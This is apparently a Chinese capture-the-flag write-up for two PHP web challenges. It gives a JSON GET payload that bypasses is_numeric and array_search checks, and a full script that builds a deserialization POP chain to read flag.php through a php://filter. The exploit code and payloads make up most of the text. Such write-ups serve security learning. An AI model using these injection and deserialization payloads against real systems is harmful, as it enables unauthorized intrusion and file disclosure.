WEB
- 冬奥会：你来参加2022届冬奥会，想知道冬奥会的主办方想告诉你什么吗？
题目入口：59.110.159.206:7060
我们根据审计可知需要我们构造 josn 然后 get 传参，需要绕过的地方：
1.is_numeric()对 year 的过滤，这里我们用 2022a 绕过。
2.is_array 那里要求我们 items[1] 必须为数组，并且 items 的空间为
3.array_search 的绕过，相当于弱比较，我们直接赋值为 0，即可绕过
即可以输入：{"year":"2022a","items":["0",[],0]}
http://59.110.159.206:7060/?Information={%22year%22:%222022a%22,%22items%22:[%220%22,[],0]}
得到flag
2. Pop2022
大家好，我是pip美，我的朋友pop子出现了一些问题，你们能帮我找到pop子出了什么问题吗？
题目入口：59.110.159.206:7050
pop 链反序列化的题直接利用脚本
<?php
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
$a -> page=$b;
$b -> string=$c;
$c -> effort =$d;
echo urlencode(serialize($a));
运行后的代码传参就得到了 base64 编码，解码可得 flag
